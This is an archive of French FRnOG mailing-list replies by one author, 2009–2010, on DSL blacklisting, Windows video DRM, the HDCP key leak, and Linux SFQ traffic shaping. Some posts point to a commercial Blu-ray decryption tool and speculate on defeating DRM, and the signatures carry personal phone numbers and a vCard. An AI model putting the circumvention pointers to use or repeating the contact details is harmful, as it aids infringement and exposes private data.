une ligne DSL est une raison valable de se faire blacklister. Et ils le 
disent noir sur blanc. Je ne me souviens plus des noms des blacklists, 
mais la raison enregistrée était tout simplement residential DSL ou 
quelque chose comme ça.


La raison est simple : quand un serveur de mail reçoit une connexion 
d'une ligne DSL grand public, il y a beaucoup, beaucoup, beaucoup plus 
de chances que ce soit un spam envoyé depuis le PC de madame Michu 
bourré de malware qu'un vrai serveur de courrier hébergé par un geek 
dans sa cave. C'est statistique.


Alors après on peut crier au scandale, mais ça revêt une certaine 
logique. D'autant plus que les « victimes » ont généralement à leur 
disposition un serveur SMTP non blacklisté mis à disposition par le FAI, 
donc on ne peut pas dire qu'ils ont pas le choix.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] M6 replay depuis Bouygues Telecom : pourquoi on arriveaux USA ?

2010-10-23 Par sujet e-t172

On 23/10/2010 21:12, Thomas SOETE wrote:

Tu nous dit que le flux MPEG4 transite quelquepart qui n'est pas
récupérable par logiciel. Donc il transite possiblement dans le noyau
pour atterrir dans la carte graphique pour s'y faire décoder
(supposition, il y a d'autres possibilités).
On a donc trois axes de recherches :
  - un pilote falsifié de la carte graphique dumpant le flux qui lui est envoyé
  - un pilote noyau, celui-ci résidant dans le noyau il peut lire tout
ce qui transite et donc dumper le flux mpeg4
  - une machine virtuelle dans laquelle on fait tourner le windows, ce
qui permet de voir toutes les E/S possible de l'OS et donc dumper le
flux qui arrivera un jour ou l'autre sur la carte video


D'après les propos que tient Pierre Col je pense fortement qu'il parle 
de la fonctionnalité PVP (Protected Video Path) incluse dans Windows et 
qui est notamment utilisée lors de la lecture de Blu-ray protégés. En 
gros, le principe est de faire transiter les flux dans des processus et 
des espaces mémoires protégés (le noyau étant le gardien), qu'il n'est 
possible d'accéder que sous réserve de remplir des conditions 
extrêmement strictes. Par exemple, même un administrateur avec tous les 
droits ne peut pas y accéder, et d'une manière générale le seul code qui 
peut y accéder est du code signé et vérifié par certificat (mais ce 
n'est pas la seule condition).


Ça inclut le code s'exécutant en mode noyau. Je pense que la méthode 
employée consiste à empêcher un pilote non signé de tourner en même 
temps que le PVP est utilisé. Par ailleurs il est absolument certain que 
Windows refusera de remettre un flux protégé à un pilote de carte 
graphique non signé. Exit donc tes solutions 1 et 2.


N'importe qui avec un PC sous Windows 7 peut faire l'expérience : 
essayez de faire joujou avec le processus « audiodg.exe », qui 
représente une partie du moteur audio de Windows, avec un débuggeur ou 
tout autre outil un peu intrusif. Impossible : audiodg.exe est un 
processus « protégé » car il est susceptible de transporter de l'audio 
provenant d'un Blu-ray chiffré (ou de toute autre application utilisant 
le PAP). Aussi, l'application peut exiger que le flux ne puisse quitter 
la machine que sous forme chiffrée par HDCP, et l'OS le garantit. Exit 
donc ta solution 3.


Un truc qui m'a toujours sidéré c'est que ce système est une énorme 
usine à gaz (les schémas sur le site de Microsoft donnent le mal de 
crâne) qui touche énormément de composants critiques du système 
d'exploitation. Vu le nombre de « tuyaux » divers et variés par lequel 
ces données protégées doivent passer (entre l'application et la carte 
graphique en passant par le framework de rendu ça fait une trotte), le 
truc a du couter les yeux de la tête en termes de conception, test et 
développement.


Je trouve hallucinant que Microsoft puisse dépenser une telle montagne 
de fric et accepter de faire des modifications aussi intrusives en plein 
cœur de son système d'exploitation juste pour les petits caprices des 
studios Hollywoodiens. Ils auraient pu monter un projet semblable pour 
améliorer la sécurité (la vraie) de leur système, pour améliorer les 
performances, ou que sais-je… mais ils ont préféré céder au chantage 
d'un cartel d'entreprises. Quel gâchis.


Bon, évidemment, Thomas Soete a raison : même une telle forteresse n'est 
pas infaillible, c'est mathématiquement impossible. On peut par exemple 
imaginer patcher le binaire du kernel pour faire sauter des protections. 
Mais Microsoft ont tout fait pour que ce soit extrêmement difficile. Et 
en fait, je n'ai jamais entendu parler de quelqu'un qui y soit arrivé. 
Probablement parce qu'il n'y a jamais vraiment eu de demande : pour 
copier les flux contenus sur des Blu-ray il s'est avéré plus simple (et 
plus propre) de cracker AACS que PVP. Même chose pour HDCP.


Donc au final, comme AACS et HDCP sont maintenant crackés, la seule 
technologie de protection encore debout est PVP/PAP. Paradoxalement, 
cette dernière ne sert plus à rien vu que les autres maillons de la 
chaine sont cassés : il suffit de copier le flux en amont ou en aval de 
PVP, qui au final ne protège que du vent. Encore une fois : quel gâchis.


Il est évident que la technologie que défend Pierre Col ne fera que 
répéter l'histoire si elle se répand suffisamment pour atteindre le 
seuil critique qui intéressera les crackers. Je ne vois absolument pas 
pourquoi elle ne subirait pas le même sort que le Blu-ray. Comme l'a si 
justement rappelé Thomas Soete, même des technologies extrêmement 
compliquées et obfusquées comme BD+ ont fini par se faire cracker tôt ou 
tard. C'est juste inéluctable : si une machine est capable de sortir A, 
alors on pourra forcément lui faire copier A. C'est la loi de la nature, 
et c'est tant mieux !


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29



smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] Re: Comment pénétrer('facilem ent) le backbone d'un grand FAI

2010-09-27 Par sujet e-t172

On 27/09/2010 11:47, Mathieu Paonessa wrote:

Sachant que le problème ici est l'update même de la box. Pour cela
madame Michu doit rebooter son boitier electriquement ce qui, hors
coupure EDF ou coup d'aspirateur, ne doit pas lui arriver très souvent.


Je sais pas pour les autres box, mais il me semble qu'une Neufbox 
reboote automatiquement pour appliquer une update.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29



smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] Fuite Master Key HDCP

2010-09-19 Par sujet e-t172

On 19/09/2010 21:06, Michel Py wrote:

Sauf que Slysoft c'est pas du temps réèl: il faut immobiliser le PC pendant des 
heures pour faire tourner la moulinette. Un peu ennuyeux dans le scénario genre 
je m'arrête au magasin de disques pour en louer un pour la soirée sur juste 
avant de rentrer à la maison ou de prendre le train.


Non. AnyDVD fait tout en temps réel et à la volée : c'est totalement 
transparent, Windows voit le contenu du Blu-ray en clair comme un 
vulgaire CD. Tu n'as pas besoin de faire une première passe pour tout 
déchiffrer. C'est fort bien foutu.


Bien sûr je suppose ici que tu veux lire le Blu-ray directement sur le 
PC (dans le cadre d'un HTPC par exemple).


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29



smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] Fuite Master Key HDCP

2010-09-18 Par sujet e-t172

On 18/09/2010 05:43, Michel Py wrote:

2. Le piratage perso:
Du point de vue du troll du vendredi, ça m'a fait un peu sourire. Pirater le 
contenu protégé, ça se faisait déjà; il fallait un peu de matos, en général 
basé sur un component dé-soudé sauvagement d'une télé mystérieusement en panne, 
mais rien de vraiment introuvable. Je suis sûr que certains lecteurs qui comme 
Pierre et moi ont atteint l'âge avancé d'avoir une barbe nettement grisonnante 
se rappelleront du premier décodeur Canal+ (celui avec les lignes à retard 
introuvables).
Bon allez accouchez les enfants: combien vous en avez soudés pour les potes, 
après que le votre soit devenu très (trop) populaire le premier samedi du mois 
à minuit?

Les gens qui ont le hard sauvage qui décode HDCP vont bénir cette fuite: ce que ceci 
change, c'est que ça va permettre à Mr Michu de ripper du HDCP avec son PC sans avoir 
besoin de se faire fabriquer le hard de décodage. Fini le hé Michel, je peux venir 
ce soir pour pirater l'émission xyz ou le dernier film à la mode. On devrait donc 
voir dans peu de temps un équivalent BlueRay du bon vieux DVDshrink qui permettait de 
dé-zoner et d'enlever la protection et de re-rippper pour toaster un DVD-5 bien moins 
cher qu'un DVD9 DL.

Voici donc le MO du hacker en pantoufles:
contenu HD protégé (que ce soit BR ou flux DVR) -  soft magique -  .mkv sans 
protection -  upload sur bittorrent (démodé) ou sur megaupload et autres giganews.


Ton « soft magique » il existe déjà depuis longtemps, du moins pour le BR :

http://www.slysoft.com/en/anydvdhd.html

Ça déchiffre de façon transparente tous les Blu-rays du marché (y 
compris BD+), et lorsqu'une nouvelle clé apparait, la mise à jour arrive 
dans les 24 heures.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29



smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] Reply-to

2010-09-10 Par sujet e-t172

On 10/09/2010 12:31, Jean Christophe Babinet wrote:

Ne faudrait-il pas paramétrer le reply-to de la liste, vers la liste ? je me 
fais avoir une fois sur deux.


Dans Thunderbird 3.1, il est possible de personnaliser la barre 
d'actions dans l'en-tête d'un message de telle sorte de ne laisser que 
le bouton le plus approprié (répondre pour un message normal ou 
répondre à la liste pour un message de liste). Ça évite ce genre 
d'étourderies.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29



smime.p7s
Description: S/MIME Cryptographic Signature


[FRnOG] Re: [FRnOG] RE: [FRnOG] Re: [FRnOG] RE: [ FRnOG] Neutralité du Net

2010-08-18 Par sujet e-t172

On 18/08/2010 16:55, Giles R DeMourot wrote:

Rien ne vous empêche actuellement de connecter un modem-routeur adsl (la fibre 
FTTH est une autre histoire)


Le principe est applicable à SFR/Neuf FTTH : 
http://www.neufbox4.org/wiki/index.php?title=Bypasser_sa_neufbox


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29



smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] ADSL contention

2009-12-04 Par sujet e-t172

Mathieu wrote:

j'avais déjà vu une modif de sfq qui fait ça: ça s'appelle esfq

http://fatooh.org/esfq-2.6/

cependant, ça ne semble plus maintenu...


En me baladant paisiblement dans le menuconfig du Kernel (oui, j'ai des 
activités bizarres) je suis tombé sur ça :


CONFIG_NET_CLS_FLOW: If you say Y here, you will be able to classify 
packets based on a configurable combination of packet keys. This is 
mostly useful in combination with SFQ.


Plus d'infos ici : 
http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.29.y.git;a=commitdiff;h=e5dfb815181fcb186d6080ac3a091eadff2d98fe


Add new flow classifier, which is meant to extend the SFQ hashing
capabilities without hard-coding new hash functions and also allows
deterministic mappings of keys to classes, replacing some out of tree
iptables patches like IPCLASSIFY (maps IPs to classes), IPMARK (maps
IPs to marks, with fw filters to classes), ...

Ca semble pouvoir faire ce que je veux, mais la documentation semble... 
comment dire... inexistante... la discussion suivante donne des pistes :


http://kerneltrap.org/mailarchive/linux-netdev/2008/1/31/667679

Quelqu'un a déjà utilisé ce truc ?

--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29
attachment: e-t172.vcf

smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] ADSL contention

2009-12-01 Par sujet e-t172

Julien Richer wrote:

Le 1 décembre 2009 09:59, Thomas Mangin
thomas.man...@exa-networks.co.uk a écrit :

Si, entre autres. Mais je ne comprends pas pourquoi, alors que le FAI en 
question est pourtant relié au GIX local, tout le trafic passe par la 
métropole. Étonnante optimisation.

Je ne sais pas pour ton FAI, mais  a une époque, AOL UK terminait ses client 
dialup au USA car cela leur permettait d'éviter certaines taxes nationales.



AOL France aussi, au moins à l'époque du 56k.
On sortait à l'est des US (j'ai plus la ville en tête)  que du
bonheur pour le ping.
Chez AOL il devait y avoir plus de marketeux (pour envoyer les CDs
50heures gratuites !) que de tech. Leur disparition n'a du attrister
personne.


Ah, ça explique la situation ultra-fréquente qu'on rencontrait à 
l'époque du 56K sur les serveurs de jeu :


- Eh, mais j'ai un ping de merde !
- T'es chez AOL ?
- Gagné

:)

--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29
attachment: e-t172.vcf

smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] ADSL contention

2009-11-25 Par sujet e-t172

Dominique Rousseau wrote:

Dans un contexte où a de la saturation de lien à gérer (savoir si on
cherche à éviter ce contexte, c'est une autre question), il est normal,
je pense, de prioriser les flux interactifs, pour lesquels une latence
plus élevée dégrade le ressenti.
Et donc, les webmails, banques en ligne, ... ça rentrerait dans ces
applications prioritaires. Et c'est relativement facile à différencier,
une application interactive, ce sont celles où on a un aller-retour
permanent de connexions de (relativement) courte durée (chacune
individuellement).
Les application moins prioritaires seraient tous les transferts bulk,
qu'ils soient en bittorrent, ftp, http, ... On peut sans doute aussi y
ranger le smtp, quand il se fait entre serveurs. (quand c'est entre le
Thunderbird et le SMTP du fai, ça joue sur le ressenti, si ça rame)


C'est intéressant comme réflexion. C'est exactement le même principe que 
les schedulers CPU, qui sont capables d'estimer si un processus est de 
type interactif ou de type batch et priorise les tâches interactives 
 (qui consomment peu mais qui ont besoin du CPU tout de suite) par 
rapport aux tâches batch (qui consomment le maximum pendant un certain 
temps).


Je sais pas si y'a eu des recherches pour adapter ça au réseau : si un 
flux consomme peu, alors il est considéré interactif et ses paquets 
passeront avant ceux des flux qui consomment le maximum. En théorie, 
distinguer les deux est très simple : dans le cas de l'interactif c'est 
majoritairement constitué de petits paquets, dans le cas du batch c'est 
constitué uniquement de gros paquets (= MTU).


En fait on peut même faire ça avec une box Linux et le traffic control 
assez simplement. On utilise une queuing discipline de type PRIO et on 
classifie les paquets taille  MTU dans une première queue et les 
paquets taille = MTU dans une deuxième (bon, avec une marge pour le 
MTU). Le résultat c'est que les paquets  MTU passent avant les autres, 
et comme ce sont généralement des paquets liés à des applications 
interactives, bingo.


Bon c'est assez simpliste, et ça ne couvre pas le cas de HTTP parce que 
en pratique, HTTP serait considéré comme du batch. J'imagine qu'il 
serait mieux de faire des statistiques sur une conversation (stateful 
donc), auquel cas, comme la connexion HTTP serait inutilisée la plupart 
du temps (vu que l'utilisateur ne change pas tout le temps de page), 
elle serait priorisée par rapport au Bittorrent par exemple qui lui 
utilise toute la capacité tout le temps. Par contre ça va scaler 
beaucoup moins bien évidemment.


Faudrait que j'expérimente là dessus, mais j'imagine que quelqu'un y a 
déjà pensé avant ?


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29
attachment: e-t172.vcf

smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] ADSL contention

2009-11-25 Par sujet e-t172

e-t172 wrote:
Bon c'est assez simpliste, et ça ne couvre pas le cas de HTTP parce que 
en pratique, HTTP serait considéré comme du batch. J'imagine qu'il 
serait mieux de faire des statistiques sur une conversation (stateful 
donc), auquel cas, comme la connexion HTTP serait inutilisée la plupart 
du temps (vu que l'utilisateur ne change pas tout le temps de page), 
elle serait priorisée par rapport au Bittorrent par exemple qui lui 
utilise toute la capacité tout le temps. Par contre ça va scaler 
beaucoup moins bien évidemment.


Faudrait que j'expérimente là dessus, mais j'imagine que quelqu'un y a 
déjà pensé avant ?


Après réflexion, je me rend compte que c'est exactement ce que fait SFQ 
(Stochastic Fair Queuing) sous Linux : il fait en sorte que chaque 
conversation ait une part égale de la capacité. Or, comme une 
conversation interactive débite peu, avec SFQ elle aura logiquement une 
priorité plus haute que celles qui consomment beaucoup.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29
attachment: e-t172.vcf

smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] ADSL contention

2009-11-25 Par sujet e-t172

Rémi Bouhl wrote:

Je schématise: on a un tuyau à 1 Gb/s, avec dessus 500 utilisateurs
qui ont jusqu'à 20 Mb/s chacun.
Tant que le tuyau n'est pas saturé, chacun peut utiliser le maximum de sa ligne.
Dès l'instant où le tuyau commence à saturer (un peu avant, en fait,
dès que la latence augmente de façon sensible), on garantit à chaque
utilisateur 1Gb/500 = 2Mb/s. Ce qui signifie que ceux qui prennent
20Mb/s se feront légèrement diminuer le débit, afin de garantir un
tuyau à 2Mb/s pour madame Michu. Et si tout le monde veut utiliser le
tuyau à fond, alors on bride tout le monde à 2Mb/s.
Autrement dit, faire passer en priorité les utilisateurs qui
consomment peu, par rapport à ceux qui consomment beaucoup, afin de
garantir une latence faible aux usages qui consomment peu et demandent
une latence faible. Et si l'utilisateur veut faire du BT à fond _et_
jouer en ligne, le fait que BT rende son jeu injouable devient son
problème à lui. Ça paraît plus simple de trier les paquets par
utilisateur (donc par IP) plutôt que de faire du DPI, non?
Ce n'est pas faisable, ça? Garantir la même latence et le même débit à
chaque utilisateur, et le laisser se démerder avec, plutôt que de
prioriser le trafic de type machin de l'utilisateur A au détriment du
trafic truc de l'utilisateur B?


En fait, pour faire ça, je pense qu'il suffirait de modifier légèrement
SFQ pour qu'il se base sur l'adresse source et non pas sur la
conversation. Ainsi, la capacité est répartie de manière équitable entre
les sources. D'ailleurs j'ai pour projet de patcher SFQ sous Linux parce
que je vais bientôt me retrouver dans une situation dans laquelle je
vais avoir besoin de faire ça sur une passerelle Linux pour un petit
réseau (50+ hôtes).

La solution parfaite serait un mélange des deux : d'abord on partage
équitablement selon la source, PUIS en bonus, on priorise l'interactif
par rapport au batch.

--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29

attachment: e-t172.vcf

smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] ADSL contention

2009-11-25 Par sujet e-t172

Thomas Mangin wrote:

En fait, pour faire ça, je pense qu'il suffirait de modifier légèrement
SFQ pour qu'il se base sur l'adresse source et non pas sur la
conversation.


Bon, il ne me reste plus qu'a change mon port BT pour 80 (TCP) et 53 ou mieux 
5060 (UDP) :p
Le QOS mal fait peut aider les DDOS en favorisant le traffic de DDOS par 
rapport au traffic normal.


Je parle de l'adresse IP source, pas du port source. Autrement dit, si 
1.2.3.4 et 4.3.2.1 utilisent le lien, chacun obtient une part équitable. 
Peu importe ce qu'ils font avec ou les ports qu'ils utilisent, qu'ils 
fassent du DDoS ou du BT, on s'en fout, ils font la queue comme tout le 
monde. Si je veux faire de la VoIP en même temps, je passe d'abord parce 
que *JE* consomme moins que les téléchargeurs fous.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29
attachment: e-t172.vcf

smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] Cablage pour ADSL

2009-10-03 Par sujet e-t172

Athias Jerome wrote:

Note amusante: sur de la plus courte distance, j'ai vu ponter en laser
dans ma région (Franche-Comté).
C'est très amusant par temps de brouillard ^_^


Juste par curiosité : cette technologie (optique en air libre) est-elle 
accessible à un particulier sans coûter un rein ?


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 20 41 09 29
attachment: e-t172.vcf

smime.p7s
Description: S/MIME Cryptographic Signature


Re: [FRnOG] Y a encore un pilote chez Numericable?

2009-07-05 Par sujet e-t172

Jean-Francois Cousi wrote:
perte jusqu'à 100% de paquets. Et meme quand ca marche, il est rare de 
garder une session SSH ouverte plus de 5 minutes sans se faire déconnecter.


Clément Collier wrote:
Je crois que c'est chez tout le monde pareil. Le SSH, c'est mission 
impossible sans bidouiller.


C'est la faute au modem-routeur qu'ils fournissent, qui comme tous les 
routeurs Netgear, oublie les connexions TCP au bout d'un certain temps 
d'inactivité. Je crois que Netgear a fait naître des envies de meurtre 
chez pas mal de monde à cause de ça.


--
Etienne Dechamps / e-t172 - AKE Group

Website: http://www.e-t172.net/
Contact: e-t...@akegroup.org

Phone: +33547414942
begin:vcard
fn:e-t172
n:Dechamps;Etienne
org:AKE Group
email;internet:e-t...@akegroup.org
tel;home:(+33) 5 47 41 49 42
x-mozilla-html:FALSE
version:2.1
end:vcard